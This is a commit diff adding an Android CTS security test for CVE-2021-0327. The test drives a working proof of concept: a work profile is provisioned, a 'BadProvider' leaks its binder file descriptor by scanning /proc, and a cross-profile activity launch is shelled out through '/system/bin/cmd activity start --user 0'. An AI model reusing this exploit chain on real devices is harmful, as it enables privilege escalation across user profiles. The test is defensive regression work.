STS test for Android Security CVE-2021-0327
Test: sts-tradefed run sts-engbuild-no-spl-lock -m CtsSecurityTestCases -t android.security.cts.CVE_2021_0327.CVE_2021_0327
Bug: 175817081
Bug: 172935267
Change-Id: I5c9fadc66cfe79796b559e2cf354f597fea00ba6
Merged-In: I5c9fadc66cfe79796b559e2cf354f597fea00ba6
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index 6c1a2bb..921b4cf 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -45,7 +45,8 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)\
src/android/security/cts/activity/ISecureRandomService.aidl\
- aidl/android/security/cts/IIsolatedService.aidl
+ aidl/android/security/cts/IIsolatedService.aidl\
+ aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl\
LOCAL_PACKAGE_NAME := CtsSecurityTestCases
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 81ee659..96e1780 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -72,6 +72,53 @@
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
+
+ <activity android:name="android.security.cts.CVE_2021_0327.IntroActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <activity android:name="android.security.cts.CVE_2021_0327.OtherUserActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <activity android:name="android.security.cts.CVE_2021_0327.TestActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <activity android:name="android.security.cts.CVE_2021_0327.workprofilesetup.ProvisionedActivity">
+ <intent-filter>
+ <action android:name="android.app.action.PROVISIONING_SUCCESSFUL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
+ <receiver
+ android:name="android.security.cts.CVE_2021_0327.workprofilesetup.AdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data
+ android:name="android.app.device_admin"
+ android:resource="@xml/device_admin" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+
+ <provider
+ android:name="android.security.cts.CVE_2021_0327.BadProvider"
+ android:authorities="android.security.cts.CVE_2021_0327.BadProvider"
+ android:exported="false"
+ android:grantUriPermissions="true"
+ android:process=":badprovider" />
+
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index 31e1dc1..e23a43b 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -20,6 +20,14 @@
<option name="test-file-name" value="CtsSecurityTestCases.apk" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="teardown-command"
+ value="pm remove-user 10" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="teardown-command"
+ value="pm uninstall --user 0 android.security.cts" />
+ </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.security.cts" />
<option name="runtime-hint" value="1h37m06s" />
diff --git a/tests/tests/security/aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl b/tests/tests/security/aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl
new file mode 100644
index 0000000..e71f2c8
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl
@@ -0,0 +1,10 @@
+// IBadProvider.aidl
+package android.security.cts.CVE_2021_0327;
+
+// Declare any non-default types here with import statements
+import android.os.ParcelFileDescriptor;
+interface IBadProvider {
+ ParcelFileDescriptor takeBinder();
+
+ oneway void exit();
+}
diff --git a/tests/tests/security/res/xml/device_admin.xml b/tests/tests/security/res/xml/device_admin.xml
new file mode 100644
index 0000000..5760898
--- /dev/null
+++ b/tests/tests/security/res/xml/device_admin.xml
@@ -0,0 +1,14 @@
+<?xml version ="1.0" encoding ="utf-8"?>
+<device-admin>
+ <uses-policies>
+<!-- <limit-password/>-->
+<!-- <watch-login/>-->
+<!-- <reset-password/>-->
+<!-- <force-lock/>-->
+<!-- <wipe-data/>-->
+<!-- <expire-password/>-->
+<!-- <encrypted-storage/>-->
+<!-- <disable-camera/>-->
+<!-- <disable-keyguard-features/>-->
+ </uses-policies>
+</device-admin>
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/BadProvider.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/BadProvider.java
new file mode 100644
index 0000000..d0b6cad
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/BadProvider.java
@@ -0,0 +1,76 @@
+package android.security.cts.CVE_2021_0327;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.RemoteException;
+import android.system.ErrnoException;
+import android.system.Os;
+
+import java.io.IOException;
+
+public class BadProvider extends ContentProvider {
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Bundle call(String method, String arg, Bundle extras) {
+ if ("get_aidl".equals(method)) {
+ Bundle bundle = new Bundle();
+ bundle.putBinder("a", new IBadProvider.Stub() {
+ @Override
+ public ParcelFileDescriptor takeBinder() throws RemoteException {
+ for (int i = 0; i < 100; i++) {
+ try {
+ String name = Os.readlink("/proc/" + Process.myPid() + "/fd/" + i);
+ // Log.v("TAKEBINDER", "fd=" + i + " path=" + name);
+ if (name.startsWith("/dev/") && name.endsWith("/binder")) {
+ return ParcelFileDescriptor.fromFd(i);
+ }
+ } catch (ErrnoException | IOException e) {
+ }
+ }
+ return null;
+ }
+
+ @Override
+ public void exit() throws RemoteException {
+ System.exit(0);
+ }
+ });
+ return bundle;
+ }
+ return super.call(method, arg, extras);
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
+ return null;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
new file mode 100644
index 0000000..2c70ba8
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0327;
+
+import static org.junit.Assert.assertTrue;
+import android.test.AndroidTestCase;
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.platform.test.annotations.SecurityTest;
+import android.os.SystemClock;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.InstrumentationRegistry;
+import android.util.Log;
+import android.os.Bundle;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import android.app.admin.DevicePolicyManager;
+import android.content.ClipData;
+import android.net.Uri;
+import android.content.ComponentName;
+import android.app.AlertDialog;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.os.AsyncTask;
+import android.os.ParcelFileDescriptor;
+import java.io.File;
+import java.io.FileDescriptor;
+import android.os.IBinder;
+import android.os.Handler;
+import android.os.ResultReceiver;
+import android.annotation.SuppressLint;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import java.io.*;
+import java.util.stream.Collectors;
+import android.security.cts.CVE_2021_0327.workprofilesetup.AdminReceiver;
+import static org.junit.Assert.assertFalse;
+
+@SecurityTest
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0327 {
+
+ private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+ private static final String TAG = "CVE_2021_0327";
+ public static boolean testActivityRequested;
+ public static boolean testActivityCreated;
+ public static String errorMessage = null;
+
+ private void launchActivity(Class<? extends Activity> clazz) {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+
+ /**
+ * b/175817081
+ */
+ @Test
+ @SecurityTest
+ public void testPocCVE_2021_0327() throws Exception {
+ Log.d(TAG, "test start");
+ testActivityCreated=false;
+ testActivityRequested=false;
+ launchActivity(IntroActivity.class);
+ synchronized(CVE_2021_0327.class){
+ if(!testActivityRequested) {
+ Log.d(TAG, "test is waiting for TestActivity to be requested to run");
+ CVE_2021_0327.class.wait();
+ Log.d(TAG, "got signal");
+ }
+ }
+ synchronized(CVE_2021_0327.class){
+ if(!testActivityCreated) {
+ Log.d(TAG, "test is waiting for TestActivity to run");
+ CVE_2021_0327.class.wait(10000);
+ Log.d(TAG, "got signal");
+ }
+ }
+ Log.d(TAG, "test completed. testActivityCreated=" + testActivityCreated);
+ if(errorMessage != null){
+ Log.d(TAG, "errorMessage=" + errorMessage);
+ }
+ assertTrue(errorMessage==null);
+ assertFalse(testActivityCreated);
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/IntroActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/IntroActivity.java
new file mode 100644
index 0000000..2643ce4
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/IntroActivity.java
@@ -0,0 +1,128 @@
+package android.security.cts.CVE_2021_0327;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.app.admin.DevicePolicyManager;
+import android.content.ClipData;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.view.View;
+import android.util.Log;
+import android.os.SystemClock;
+
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import java.io.*;
+import java.util.stream.Collectors;
+
+import android.security.cts.CVE_2021_0327.workprofilesetup.AdminReceiver;
+
+public class IntroActivity extends Activity {
+
+ private static final int AR_WORK_PROFILE_SETUP = 1;
+ private static final String TAG = "CVE_2021_0327";
+
+ private void launchOtherUserActivity() {
+ Log.d(TAG,"launchOtherUserActivity()");
+ Intent intent = new Intent(this, OtherUserActivity.class);
+ intent.setClipData(new ClipData("d", new String[]{"a/b"}, new ClipData.Item(Uri.parse("content://android.security.cts.CVE_2021_0327.BadProvider"))));
+ intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ startActivity(intent);
+ finish();
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Log.d(TAG,"IntroActivity.OnCreate()");
+ if (isProfileOwner()) {
+ } else if (canLaunchOtherUserActivity()) {
+ launchOtherUserActivity();
+ } else {
+ setupWorkProfile(null);
+
+ //detect buttons to click
+ boolean profileSetUp=false;
+ String button;
+ java.util.List<UiObject2> objects;
+ UiDevice mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ BySelector selector = By.clickable(true);
+
+
+ while(!profileSetUp){
+ do {
+ Log.i(TAG, "waiting for clickable");
+ SystemClock.sleep(3000);
+ } while((objects = mUiDevice.findObjects(selector)).size()==0);
+ for(UiObject2 o : objects){
+ button=o.getText();
+ Log.d(TAG,"button:" + button);
+
+ if(button==null){
+ continue;
+ }
+
+ switch(button){
+ case "Delete" :
+ o.click();
+ Log.i(TAG, "clicked: Delete");
+ break;
+ case "Accept & continue" :
+ o.click();
+ Log.i(TAG, "clicked: Accept & continue");
+ break;
+ case "Next" :
+ o.click();
+ profileSetUp=true;
+ Log.i(TAG, "clicked: Next");
+ break;
+ default :
+ continue;
+ }
+ break;
+ }
+ }
+ //end while(!profileSetUp);
+ }
+ }
+
+ private boolean isProfileOwner() {
+ return getSystemService(DevicePolicyManager.class).isProfileOwnerApp(getPackageName());
+ }
+
+ private boolean canLaunchOtherUserActivity() {
+ Intent intent = new Intent("android.security.cts.CVE_2021_0327.OTHER_USER_ACTIVITY");
+ return (getPackageManager().resolveActivity(intent, 0) != null);
+ }
+
+ public void setupWorkProfile(View view) {
+ Log.d(TAG, "setupWorkProfile()");
+ Intent intent = new Intent(DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE);
+ intent.putExtra(
+ DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+ new ComponentName(this, AdminReceiver.class)
+ );
+ startActivityForResult(intent, AR_WORK_PROFILE_SETUP);
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ Log.d(TAG, "onActivityResult()");
+ if (requestCode == AR_WORK_PROFILE_SETUP) {
+ if (resultCode == RESULT_OK) {
+ launchOtherUserActivity();
+ } else {
+ new AlertDialog.Builder(this)
+ .setMessage("Work profile setup failed")
+ .setPositiveButton("ok", null)
+ .show();
+ }
+ }
+ super.onActivityResult(requestCode, resultCode, data);
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/OtherUserActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/OtherUserActivity.java
new file mode 100644
index 0000000..3ed38de
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/OtherUserActivity.java
@@ -0,0 +1,94 @@
+package android.security.cts.CVE_2021_0327;
+
+import android.annotation.SuppressLint;
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.net.Uri;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.os.ResultReceiver;
+import android.view.View;
+import android.util.Log;
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.*;
+import java.util.stream.Collectors;
+import java.util.concurrent.TimeUnit;
+import android.os.SystemClock;
+
+public class OtherUserActivity extends Activity {
+
+ static ParcelFileDescriptor sTakenBinder;
+ private static final String TAG = "CVE_2021_0327";
+ String errorMessage = null;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ doMakeProviderBad(null);
+ SystemClock.sleep(5000);
+ doStuff(null);
+ }
+
+ public void doMakeProviderBad(View view) {
+ new MakeProviderBad().execute();
+ }
+
+ private class MakeProviderBad extends AsyncTask<Void, Void, Exception> {
+
+ @Override
+ protected Exception doInBackground(Void... voids) {
+ try {
+ if (sTakenBinder != null) {
+ sTakenBinder.close();
+ sTakenBinder = null;
+ }
+
+ Uri uri = getIntent().getClipData().getItemAt(0).getUri();
+ Bundle callResult = getContentResolver().call(uri, "get_aidl", null, null);
+ IBadProvider iface = IBadProvider.Stub.asInterface(callResult.getBinder("a"));
+ sTakenBinder = iface.takeBinder();
+ if (sTakenBinder == null) {
+ throw new Exception("Failed to find binder of provider");
+ }
+ iface.exit();
+ } catch (Exception e) {
+ errorMessage = errorMessage==null ? e.toString() : errorMessage + ", " + e.toString();
+ }
+
+ return null;
+ }
+
+ @Override
+ protected void onPostExecute(Exception e) {
+ }
+ }
+
+ public void doStuff(View view) {
+ sendCommand("start", "--user", "0", "-d", "content://android.security.cts.CVE_2021_0327.BadProvider", "-n", "android.security.cts/.CVE_2021_0327.TestActivity");
+ }
+
+ @SuppressLint("PrivateApi")
+ void sendCommand(String... args) {
+ String[] command = new String[args.length + 2];
+ command[0] = "/system/bin/cmd";
+ command[1] = "activity";
+ System.arraycopy(args, 0, command, 2, args.length);
+
+ try{
+ Runtime.getRuntime().exec(command);
+ } catch(Exception e){
+ errorMessage = errorMessage==null ? e.toString() : errorMessage + ", " + e.toString();
+ }
+ finally{
+ synchronized(CVE_2021_0327.class){
+ CVE_2021_0327.testActivityRequested=true;
+ CVE_2021_0327.errorMessage = errorMessage;
+ CVE_2021_0327.class.notifyAll();
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/TestActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/TestActivity.java
new file mode 100644
index 0000000..d44a220
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/TestActivity.java
@@ -0,0 +1,17 @@
+package android.security.cts.CVE_2021_0327;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TestActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Log.d("CVE_2021_0327","TestActivity.onCreate()");
+ synchronized(CVE_2021_0327.class){
+ CVE_2021_0327.testActivityCreated=true;
+ CVE_2021_0327.class.notifyAll();
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/workprofilesetup/AdminReceiver.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/workprofilesetup/AdminReceiver.java
new file mode 100644
index 0000000..d374dfd
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/workprofilesetup/AdminReceiver.java
@@ -0,0 +1,7 @@
+package android.security.cts.CVE_2021_0327.workprofilesetup;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class AdminReceiver extends DeviceAdminReceiver {
+
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/workprofilesetup/ProvisionedActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/workprofilesetup/ProvisionedActivity.java
new file mode 100644
index 0000000..1ae1c5d
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/workprofilesetup/ProvisionedActivity.java
@@ -0,0 +1,43 @@
+package android.security.cts.CVE_2021_0327.workprofilesetup;
+
+import android.app.Activity;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+
+import android.security.cts.CVE_2021_0327.OtherUserActivity;
+
+public class ProvisionedActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ getPackageManager().setComponentEnabledSetting(
+ new ComponentName(
+ this,
+ OtherUserActivity.class
+ ),
+ PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+ PackageManager.DONT_KILL_APP
+ );
+
+ DevicePolicyManager manager = getSystemService(DevicePolicyManager.class);
+ //IntentFilter intentFilter = new IntentFilter("com.example.clearedshell.OTHER_USER_ACTIVITY");
+ IntentFilter intentFilter = new IntentFilter("android.security.cts.CVE_2021_0327.OTHER_USER_ACTIVITY");
+ //IntentFilter intentFilter = new IntentFilter("android.security.cts.CVE_2021_0327$OTHER_USER_ACTIVITY");
+ intentFilter.addCategory(Intent.CATEGORY_DEFAULT);
+ ComponentName admin = new ComponentName(this, AdminReceiver.class);
+ manager.addCrossProfileIntentFilter(
+ admin,
+ intentFilter,
+ DevicePolicyManager.FLAG_MANAGED_CAN_ACCESS_PARENT
+ );
+ manager.setProfileEnabled(admin);
+
+ setResult(RESULT_OK);
+ finish();
+ }
+}